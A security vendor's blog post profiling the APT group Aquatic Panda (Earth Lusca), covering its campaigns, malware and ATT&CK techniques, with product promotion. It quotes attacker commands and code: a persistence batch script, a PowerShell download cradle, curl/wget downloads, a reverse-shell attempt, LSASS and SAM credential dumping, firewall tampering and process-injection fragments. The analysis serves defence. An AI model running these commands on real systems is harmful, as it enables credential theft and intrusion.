Aquatic Panda (Earth Lusca) Analysis: Campaigns, Malware, and TTPs

Umut Bayram | 18 MIN READ

| June 25, 2026

Key Takeaways

Aquatic Panda is a China-aligned APT active since May 2020, focused on intelligence collection and industrial espionage.
Targets span telecommunications, technology, and government sectors, plus NGOs, think tanks, and academic institutions across Asia, Europe, and North America.
Major operations include FishMedley, Log4Shell exploitation, and deployment of SprySOCKS, ShadowPad, SodaMaster, BIOPASS RAT, and KTLVdoor backdoors.
The Picus Platform validates security controls against Aquatic Panda using threats available in the Picus Threat Library.

Aquatic Panda (aka Earth Lusca and FishMonger) is a China-aligned advanced persistent threat (APT) group first observed in May 2020.

Focused on intelligence collection and industrial espionage, it primarily targets telecommunications, technology, and government sectors, with victims including government organizations in Honduras, Taiwan, Thailand, and Pakistan, alongside NGOs, think tanks, and academic institutions across Asia, Europe, and North America.

In this blog, we will examine Aquatic Panda's major campaigns and break down its tactics, techniques, and procedures (TTPs). In the end, we will show how Picus Platform validates your security controls against this threat group.

Simulate APT Attacks with 14-Day Free Trial of Picus Platform

What Are the Major Activities of the Aquatic Panda?

May 2020 – Aquatic Panda activity begins, focusing on telecommunications, technology, and government sectors for intelligence collection and industrial espionage [4].

Mid-2021 – The group launches a watering-hole campaign against Chinese customer-service firms, deploying the custom BIOPASS RAT [5].

2021–2023 – Aquatic Panda conducts sustained espionage across 17 countries in Asia, Europe, and North America [6].

December 2021 – Exploits Log4Shell against a large academic institution's VMware Horizon server before the intrusion is disrupted [3].

January–October 2022 – Runs Operation FishMedley, compromising seven government, NGO, think-tank, and charity targets across six countries [2].

2023–2024 – Deploys new Windows variants of the SprySOCKS backdoor against government organizations in Honduras, Taiwan, Thailand, and Pakistan [1].

December 2023–January 2024 – The threat actor uses Chinese-Taiwanese relations as a lure ahead of Taiwan's elections [7].

2024 – Aquatic Panda deploys a new multiplatform backdoor KTLVdoor against a trading company based in China [8].

March 2025 – Members indicted and added to most-wanted lists [9].

Which MITRE ATT&CK Techniques Are Used by Aquatic Panda?

Tactic: Resource Development

T1583.001 Acquire Infrastructure: Domains

In Operation FishMedley, Aquatic Panda registered domains for C&C use, including homoglyph domains designed to blend with legitimate brands. For example, multiple subdomains of junlper[.]com (a deliberate misspelling of a well-known networking vendor's domain) resolved to the C&C server used by the Spyder backdoor.

The C&C domain for ShadowPad (a privately sold, modular backdoor shared among China-aligned actors), api.googleauthenticatoronline[.]com, follows the same "look-alike service" pattern.

T1588.002 Obtain Capabilities: Tool

In the Log4Shell intrusion, Aquatic Panda staged publicly available JNDI/Log4Shell exploitation tools: JNDI-Injection-Exploit-1.0.jar, JNDIExploit-1.3-SNAPSHOT.jar, JNDIObject.class, and JNDIObject.java.

Tactic: Initial Access

T1190 Exploit Public-Facing Application

The actor exploited the Log4j vulnerability (CVE-2021-44228) in an internet-exposed VMware Horizon instance, gaining code execution as the Apache Tomcat service that backed the Horizon web front end [3].

Tactic: Execution

T1053.005 Scheduled Task/Job: Scheduled Task

The SprySOCKS WIN_DRV (the kernel-driver, stealth variant) persistence script registers a SYSTEM-level scheduled task that re-launches the side-loading host on every boot [1]:

:: klelam00007.bat - establishes persistence for the WIN_DRV variant
:: pushd into the script's own directory so relative copies resolve correctly
for /f "tokens=*" %%i in ("%~0") do pushd "%%~dpi"

:: stage every dropped file into the protected Fonts directory
copy /y ".\*.*" "%SystemRoot%\Fonts"

:: create an autostart task running as SYSTEM, executing the renamed legitimate signed binary
schtasks /create /tn "ApphostRagistreationVerifier" ^
/tr "%SystemRoot%\Fonts\ApphostRagistreationVerifier.exe" ^
/sc ONSTART /ru "NT AUTHORITY\SYSTEM" /f

:: fire it immediately so the operator does not have to wait for a reboot
schtasks /run /tn "ApphostRagistreationVerifier"

The task name ApphostRagistreationVerifier is a deliberate typo-squat of the legitimate Microsoft binary AppHostRegistrationVerifier.exe.

T1059.001 Command and Scripting Interpreter: PowerShell

In Operation FishMedley, the ShadowPad loader, packed with ScatterBee (a packer the group uses to obfuscate payloads and frustrate static detection), was retrieved with a one-line PowerShell download cradle from a compromised intranet web server [2]:

# Stage the side-loading DLL from a web server already compromised inside the victim org
powershell (new-object System.Net.WebClient).DownloadFile(
"http://<victim_web_server_IP>/Images/menu/log.dll",
"c:\users\public\log.dll")

T1059.003 Command and Scripting Interpreter: Windows Command Shell

During the Log4Shell intrusion, the actor also pivoted to cmd /C to invoke native download utilities:

cmd /C "curl http://<redacted>:443/<path>"
cmd /C "wget http://<redacted>:443/<path>"

T1059.004 Command and Scripting Interpreter: Unix Shell

In the Log4Shell intrusion, Aquatic Panda's first execution attempt assumed a Linux target and tried to spawn an interactive bash reverse shell. Because the host was Windows, these failed:

# Linux-style invocation attempted on a Windows host (failed)

cmd /C "bash -c {echo,<base64 encoded payload>"

# the echoed blob is the base64 of a "bash -i" /dev/tcp reverse shell meant to be decoded and piped into bash on a Unix system

T1569.002 System Services: Service Execution

The SprySOCKS loader abuses Windows services for both one-time and persistent execution. The WIN_DRV loader registers its DriverLoader as a minifilter service (msidiskserver) to launch the kernel component, and the WIN_PLUS variant, which ships without the stealth kernel driver and persists through the print spooler instead, restarts the Print Spooler service to trigger its print-processor loader.

Tactic: Persistence

T1543.003 Create or Modify System Process: Windows Service

In Operation FishMedley, several SodaMaster loaders persist by installing themselves as Windows services, such as Netlock, MsKeyboardFiltersrv, and downmap.

T1547.012 Boot or Logon Autostart Execution: Print Processors

The SprySOCKS WIN_PLUS first-stage loader persists by registering itself as a print processor, which the Print Spooler loads automatically at service start. Its exported GetErrorMessageModule function creates the registry key and copies the loader and encrypted container into the spooler's directories [1]:

# Registry key registering the malicious print processor
HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\VSPMsg
Driver = VSPMsg.dll

# Files dropped to spooler-controlled paths

# first-stage loader
C:\Windows\System32\spool\prtprocs\x64\VSPMsg.dll

# encrypted container (loader + backdoor)

C:\Windows\System32\spool\drivers\color\config.dat

Tactic: Privilege Escalation

T1546.012 Event Triggered Execution: Image File Execution Options Injection

If the SprySOCKS WIN_DRV loader detects that scheduled-task persistence is missing, it falls back to IFEO injection: it registers its renamed signed binary as the debugger for vds.exe (the Virtual Disk Service, which auto-starts), so the malware launches with the service's elevated context:

# IFEO debugger hijack of the Virtual Disk Service
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vds.exe\debugger
= %SystemRoot%\Fonts\ApphostRagistreationVerifier.exe

Restarting the vds service then executes the attacker binary as a "debugger" of the service process.

Tactic: Stealth

T1014 Rootkit

The SprySOCKS WIN_DRV variant ships the RawWNPF kernel driver, a full rootkit that hides the backdoor's processes, files, registry keys, and network connections.

It is loaded entirely in memory by a second kernel component (DriverLoader / fsdiskbit.sys), which manually maps the PE and calls its entry point after AES-decrypting it.

The driver exposes a \Device\RawWNPF interface with IOCTLs for each hiding capability (e.g., 0x222000 initializes all hiding subsystems; 0x220350/0x22035C manage the hidden-PID list) [1].

T1027.013 Obfuscated Files or Information: Encrypted/Encoded File

SprySOCKS stores its payloads as AES-encrypted blobs on disk. The loader decrypts an outer container using AES-128 in ECB mode with the hardcoded key, then extracts the inner driver and backdoor payloads.

T1055.002 Process Injection: Portable Executable Injection

In Operation FishMedley, the SodaMaster loaders decrypt their payload, create a suspended svchost.exe, allocate RWX memory in it, write the shellcode, and resume execution via a remote thread:

// spawn the legitimate host process in a suspended state
if (!CreateProcessA(0, lpCommandLine, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcInfo))
goto LABEL_6;

hProcess = OpenProcess(PROCESS_ALL_ACCESS, 1, ProcInfo.dwProcessId);

// allocate executable memory and copy the decrypted shellcode
lpBaseAddress = VirtualAllocEx(hProcess, 0, nSize, 0x3000u, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress && WriteProcessMemory(hProcess, lpBaseAddress, _lpBuffer, nSize, 0))

// 3) execute it
hThread = F_CreateRemoteThread_NtCreateThreadEx(hProcess, lpBaseAddress);

The execution stub branches on OS version, falling back to NtCreateThreadEx on Windows 6.0+:

GetVersionExA(&VersionInformation);
if (VersionInformation.dwMajorVersion < 6) { // Windows XP / 2003
_hThread = CreateRemoteThread(hProcess, 0, 0, lpBaseAddress, 0, 0, 0);
...
}
ModuleHandleW = GetModuleHandleW(L"ntdll.dll");
NtCreateThreadEx = GetProcAddress(ModuleHandleW, "NtCreateThreadEx");
(NtCreateThreadEx)(hThread, PROCESS_ALL_ACCESS, 0, hProcess, lpBaseAddress, 0, 0, 0, 0, 0);

The Spyder loader uses the same primitive but injects into itself (task.exe) rather than a new process [2]:

// Spyder self-injection of decrypted shellcode

CurrentProcess = GetCurrentProcess();
lpBaseAddress = VirtualAllocEx(CurrentProcess, 0, nSize, 0x3000u , 0x40u);
WriteProcessMemory(CurrentProcess, lpBaseAddress, lpBuffer, nSize, 0);

T1070.004 Indicator Removal: File Deletion

After establishing persistence, the SprySOCKS loader drops and runs affair-build.bat to delete the original staged files and relaunch itself from the protected location.

:: affair-build.bat (WIN_DRV) - clear the staging directory, relaunch from %SystemRoot%\Fonts

del "<CurrentWorkDir>\ApphostRagistreationVerifier.exe"
del "<CurrentWorkDir>\tpsvcloc.dll"
del "<CurrentWorkDir>\tpsvc.dll"

sc stop vds
sc start vds :: re-trigger execution from the new location
del %0 :: self-delete the script

Additionally, in the Log4Shell intrusion, the actor cleaned up by deleting all executables from the ProgramData and Windows\temp\ directories after staging their memory dump for exfiltration.

T1070.009 Indicator Removal: Clear Persistence

After successfully loading the DriverLoader kernel driver, the SprySOCKS WIN_DRV loader removes the service registry key (msidiskserver) and deletes the dropped fsdiskbit.sys file, erasing the on-disk evidence of the minifilter it just used [1]:

# Created to load the driver, then deleted once NtLoadDriver succeeds:

HKLM\SYSTEM\CurrentControlSet\Services\msidiskserver
ImagePath = \??\C:\Windows\System32\drivers\fsdiskbit.sys
Type = 0x2 (file system / minifilter)
Group = FSFilter Activity Monitor

T1134.002 Access Token Manipulation: Create Process with Token

The SprySOCKS loader uses CreateProcessAsUserW with a token harvested from a privileged service process (the print spooler / spoolsv.exe) to launch the svchost.exe host into which the backdoor is injected, executing under a borrowed security context.

T1205.002 Traffic Signaling: Socket Filters

The RawWNPF driver registers Windows Filtering Platform (WFP) callouts that inspect inbound and outbound IPv4/TCP traffic. When a specially crafted "magic" pattern is detected in a received TCP packet on any open port, the driver silently routes that traffic to the backdoor's real (hidden) listening port.

This lets the operator reach a passive backdoor, simply by knocking on any open port, and the true destination port is never revealed, even if the diverted traffic is captured.

T1497 Virtualization/Sandbox Evasion

The SprySOCKS loader performs anti-analysis checks before unpacking. It scans its own process for known sandbox/AV instrumentation libraries (snxhk.dll, SxWrapper.dll, SxIn.dll, SXIn64.dll, SbieDll.dll, and cmdvrt32.dll) and exits if any are present.

The WIN_PLUS first-stage loader additionally refuses to run unless its parent is spoolsv.exe, defeating sandboxes that detonate the DLL out of its print-processor context [1].

T1574.001 Hijack Execution Flow: DLL

SprySOCKS relies on signed, legitimate executables to side-load its malicious DLLs. The WIN_DRV chain uses a renamed, validly signed printer-service executable (ApphostRagistreationVerifier.exe) that loads tpsvc.dll, which in turn loads the malicious tpsvcloc.dll (the SprySOCKS loader):

ApphostRagistreationVerifier.exe (legitimate, signed) -> loads tpsvc.dll

tpsvc.dll (legitimate, signed) -> loads tpsvcloc.dll

tpsvcloc.dll (malicious) = SprySOCKS loader

Additionally, in Operation FishMedley, the ShadowPad payload was side-loaded by a malicious log.dll carried by an old, legitimately signed security-product executable (original name BDReinit.exe), reading its encrypted payload from log.dll.dat.

The SodaMaster loaders use the same approach: six legitimate executables were paired with malicious DLLs (DrsSDK.dll, libvlc.dll, safestore64.dll, DeElevator64.dll, libmaxminddb-0.dll, safestore641.dll) that read and decrypt an external payload file [2].

T1622 Debugger Evasion

The RawWNPF driver calls KdDisableDebugger to disable an active kernel debugger, hampering live kernel-level analysis of the rootkit.

Tactic: Defense Impairment

T1686.003 Disable or Modify System Firewall: Windows Host Firewall

Before standing up its TCP server, the SprySOCKS backdoor manipulates the Windows firewall to guarantee inbound reachability. It deletes a benign-looking rule and re-creates one with the same name that allows all inbound TCP to its listening port. The rule name impersonates a standard Windows ICMPv6 rule while actually opening the backdoor's port 53781 [1].

:: delete the existing rule of this name, then re-add a permissive inbound TCP rule

netsh advfirewall firewall delete rule name="Core Networking - Packet Too Big(ICMPv6 - In)"

netsh advfirewall firewall add rule name="Core Networking - Packet Too Big(ICMPv6 - In)" ^
dir=in action=allow protocol=tcp localport=53781

Tactic: Credential Access

T1003.001 OS Credential Dumping: LSASS Memory

In Operation FishMedley, Aquatic Panda dumped LSASS via the well-known comsvcs.dll MiniDump living-off-the-land technique, including a loop that resolves the LSASS PID dynamically before dumping [2]:

:: direct dump of the LSASS PID (944) obtained from tasklist /svc

powershell.exe -c "C:\Windows\System32\rundll32 C:\windows\system32\comsvcs.dll, MiniDump 944 c:\users\public\music\temp.tmp full"

:: PID-agnostic variant: find lsass.exe, then dump whatever PID it returns

for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do ^
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %B \Windows\Temp\YDWS6P.xml full

T1003.002 OS Credential Dumping: Security Account Manager

In Operation FishMedley, the operators saved the SAM and SYSTEM registry hives, which together yield local account hashes and the boot key needed to decrypt them [2]:

reg save hklm\sam C:\users\public\music\sam.hive

reg save hklm\system C:\users\public\music\system.hive

T1555.003 Credentials from Password Stores: Credentials from Web Browsers

Four of the SodaMaster loaders in Operation FishMedley export a function named getAllAuthData that implements a Firefox password stealer, reading the browser's SQLite store and querying the logins table directly [2]:

-- executed by the SodaMaster loaders against the Firefox logins database

SELECT encryptedUsername, encryptedPassword, hostname, httpRealm FROM moz_logins;

T1556.002 Modify Authentication Process: Password Filter DLL

In Operation FishMedley, Aquatic Panda deployed a custom password filter (C:\Windows\system32\sasetup.dll). Its PasswordChangeNotify export fires whenever a user changes their password and writes the plaintext to a log file (etuper.log) in the working directory. The DLL also contains logic to POST the captured password to a hardcoded C&C as flag=<password>.

Tactic: Discovery

T1007 System Service Discovery

The SprySOCKS backdoor can enumerate all services on the system (via C&C command 0x1E).

Additionally, in Operation FishMedley, the operators ran tasklist /svc to map processes to their owning services.

T1057 Process Discovery

The SprySOCKS backdoor enumerates all running processes (C&C command 0x11) and the modules of a specified process (0x12).

Additionally, in Operation FishMedley the operators ran tasklist /v to enumerate processes on target machines.

T1082 System Information Discovery

SprySOCKS's 0x09 survey command collects computer name, OS version, memory/CPU information, current privileges, system language/version, current time, and the backdoor's own version and type (WIN_DRV/WIN_PLUS).

Additionally, in Operation FishMedley, the operators queried host uptime with "wmic os get lastbootuptime".

T1083 File and Directory Discovery

The SprySOCKS backdoor lists directory contents (C&C command 0x3D), enumerates free disk space (0x3C), and lists recently accessed files from the user's Office/Windows Recent folders (0x43):

%APPDATA%\Microsoft\Windows\Recent\
%APPDATA%\Microsoft\Office\Recent\

Additionally, in Operation FishMedley, the operators ran dir c:\users to enumerate user profile directories.

T1518.001 Software Discovery: Security Software Discovery

The SprySOCKS loader checks its own process for the presence of specific security and sandboxing product libraries (snxhk.dll, SxWrapper.dll, SxIn.dll, SXIn64.dll, SbieDll.dll, cmdvrt32.dll) before unpacking.

Tactic: Collection

T1056.001 Input Capture: Keylogging

Both SprySOCKS Windows variants implement a keylogger that activates only if a gating INI file exists at %appdata%\Microsoft\Vault\lgf.dat with key=1 in its config section.

When enabled, it writes captured data to %appdata%\Microsoft\Vault\lg.dat, encrypted with a single-byte XOR (key 0x44).

T1560.001 Archive Collected Data: Archive via Utility

In the Log4Shell intrusion, Aquatic Panda used WinRAR to compress the LSASS memory dump prior to exfiltration [3]:

C:\Windows\system32\cmd.exe /C Rar.exe a -k -r -s -m3 <dump file>

Tactic: Command and Control

T1008 Fallback Channels

Beyond its primary TCP channel, the SprySOCKS backdoor can reach its C&C over UDP and WebSocket, and can specify additional/backup channels at runtime (C&C commands 0x0E to define and 0x17 to start TCP/UDP/WebSocket channels).

T1095 Non-Application Layer Protocol

SprySOCKS communicates over raw TCP and UDP using a custom framing protocol rather than a standard application protocol.

Additionally, in Operation FishMedley, ShadowPad communicates over raw TCP and UDP (e.g., TCP://api.googleauthenticatoronline[.]com:443 from its decrypted configuration).

T1571 Non-Standard Port

SprySOCKS uses non-standard ports and protocol/port mismatches for C&C: in the recovered configuration, TCP runs on 443, UDP on 53, and WebSocket on 80, while the local TCP server listens on 53781.

T1573.001 Encrypted Channel: Symmetric Cryptography

SprySOCKS encrypts C&C traffic with AES-128 using the hardcoded key QFTHEYjzX3RBOMgZ. Each protocol carries a distinct magic value used to delimit/identify the channel [1]:

TCP: 0xACACBCBC (12-byte header: CRC32 + magic + length)

UDP: 0xACACBFBC (at offset 0x1C of a 36-byte header, + length)

WebSocket: 0x1BDCCBAA (used as the WebSocket Masking-Key)

T1573.002 Encrypted Channel: Asymmetric Cryptography

In Operation FishMedley, each SodaMaster payload embeds an RSA public key in its configuration, used to protect session-key exchange with its C&C.

T1665 Hide Infrastructure

The SprySOCKS WIN_DRV variant hides its own C&C connections from network tooling: before connecting, it calls the RawWNPF driver's IOCTLs 0x220340/0x220200 so the connections do not appear in netstat.exe. The driver achieves this by hooking the IoCompletionRoutine for IOCTL 0x12001B inside nsiproxy.sys and stripping matching entries from the returned connection table [1].

Additionally, across Operation FishMedley, the actor masked its infrastructure with homoglyph C&C domains (e.g., api.googleauthenticatoronline[.]com impersonating a 2FA service) to blend C&C traffic with legitimate destinations.

Tactic: Exfiltration

T1041 Exfiltration Over C2 Channel

The SprySOCKS backdoor exfiltrates files from the compromised host over its existing C&C channel via dedicated file-transfer commands (e.g., 0x2A upload, 0x2C download).

T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage

In Operation FishMedley, the actor staged dbxcli (a Go-based Dropbox client) inside a CAB archive named drop.zip to exfiltrate data to an attacker-controlled Dropbox account.

How Picus Simulates Aquatic Panda Attacks?

We strongly suggest simulating Aquatic Panda Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Aquatic Panda:

Threat ID	Threat Name	Attack Module
46589	Aquatic Panda Threat Group Campaign	Windows Endpoint
60174	Earth Lusca Threat Group Campaign	Linux Endpoint
46719	Earth Lusca Threat Group Campaign Backdoor Malware Download Threat	Network Infiltration
99010	Earth Lusca Threat Group Campaign Backdoor Malware Email Threat	E-mail Infiltration
97208	Aquatic Panda Threat Group Campaign Malware Download Threat	Network Infiltration
43341	Aquatic Panda Threat Group Campaign Malware Email Threat	E-mail Infiltration
64853	SprySOCKS Backdoor Malware Download Threat	Network Infiltration
37192	SprySOCKS Backdoor Malware Email Threat	E-mail Infiltration
84080	Doraemon Backdoor Malware Download Threat	Network Infiltration
45044	Doraemon Backdoor Malware Email Threat	E-mail Infiltration
26043	KTLVdoor Backdoor Malware Download Threat	Network Infiltration
71881	KTLVdoor Backdoor Malware Email Threat	E-mail Infiltration
91905	BIOPASS RAT Download Threat	Network Infiltration
86202	BIOPASS RAT Email Threat	E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

What Are the Aliases of the Aquatic Panda Group?

Aquatic Panda is also known as: Earth Lusca, BRONZE UNIVERSITY, BountyGlad, CHROMIUM, Charcoal Typhoon, ControlX, FISHMONGER, Red Dev 10, Red Scylla, RedHotel, TAG-22.

References

[1] ESET Research, “FishMonger’s arsenal upgraded: SprySOCKS for Windows.” Accessed: Jun. 19, 2026. [Online]. Available: https://www.welivesecurity.com/en/eset-research/fishmongers-arsenal-upgraded-sprysocks-windows/

[2] M. Faou, “Operation FishMedley.” Accessed: Jun. 19, 2026. [Online]. Available: https://www.welivesecurity.com/en/eset-research/operation-fishmedley/

[3] “AQUATIC PANDA in Possession of Log4Shell Exploit Tools,” CrowdStrike.com. Accessed: Jun. 19, 2026. [Online]. Available: https://www.crowdstrike.com/en-us/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/

[4] “Aquatic Panda.” Accessed: Jun. 20, 2026. [Online]. Available: https://attack.mitre.org/groups/G0143/

[5] “[No title].” Accessed: Jun. 20, 2026. [Online]. Available: https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

[6] Insikt Group, “RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale.” Accessed: Jun. 20, 2026. [Online]. Available: https://www.recordedfuture.com/research/redhotel-a-prolific-chinese-state-sponsored-group-operating-at-a-global-scale

[7] “Earth Lusca Uses Geopolitical Lure to Target Taiwan Before Elections,” Trend Micro. Accessed: Jun. 20, 2026. [Online]. Available: https://www.trendmicro.com/en_us/research/24/b/earth-lusca-uses-geopolitical-lure-to-target-taiwan.html

[8] P. Paganini, “Earth Lusca Archives,” Security Affairs. Accessed: Jun. 20, 2026. [Online]. Available: https://securityaffairs.com/tag/earth-lusca

[9] “ESET Research reveals Operation FishMedley — global espionage operation by China’s FishMonger and I-SOON,” ESET. Accessed: Jun. 20, 2026. [Online]. Available: https://www.eset.com/us/about/newsroom/research/eset-research-reveals-operation-fishmedley-global-espionage-operation-by-chinas-fishmonger-and-i-soon/

Aquatic Panda is a China-aligned advanced persistent threat group first observed in May 2020. The group is also tracked as Earth Lusca and FishMonger. Focused on intelligence collection and industrial espionage, the group primarily targets telecommunications, technology, and government sectors, along with NGOs, think tanks, and academic institutions across Asia, Europe, and North America.

Aquatic Panda is also known as Earth Lusca, BRONZE UNIVERSITY, BountyGlad, CHROMIUM, Charcoal Typhoon, ControlX, FISHMONGER, Red Dev 10, Red Scylla, RedHotel, and TAG-22.

Major activity includes a mid-2021 watering-hole campaign deploying BIOPASS RAT, the December 2021 Log4Shell exploitation of a VMware Horizon server, and Operation FishMedley in 2022, compromising seven targets across six countries. The group later deployed SprySOCKS against governments in Honduras, Taiwan, Thailand, and Pakistan, and used KTLVdoor against a China-based trading company in 2024.

The group uses a varied toolkit including the SprySOCKS backdoor with its WIN_DRV and WIN_PLUS variants, ShadowPad, SodaMaster, Spyder, BIOPASS RAT, and the multiplatform KTLVdoor backdoor. SprySOCKS notably ships the RawWNPF kernel rootkit that hides processes, files, registry keys, and network connections, while encrypting command-and-control traffic with AES-128.

The SprySOCKS WIN_DRV variant ships the RawWNPF kernel driver, a full rootkit that hides the backdoor's processes, files, registry keys, and network connections. The driver hooks nsiproxy.sys to strip connections from netstat output and uses Windows Filtering Platform socket filters so a magic packet on any open port reaches the hidden backdoor.

The Picus Platform validates security controls against Aquatic Panda by simulating real-life attacks. The Picus Threat Library includes ready-to-run threats covering Aquatic Panda campaigns, the SprySOCKS, Doraemon, and KTLVdoor backdoors, and BIOPASS RAT across endpoint, network, and email modules. A 14-day free trial of the Picus Platform allows testing defenses within minutes.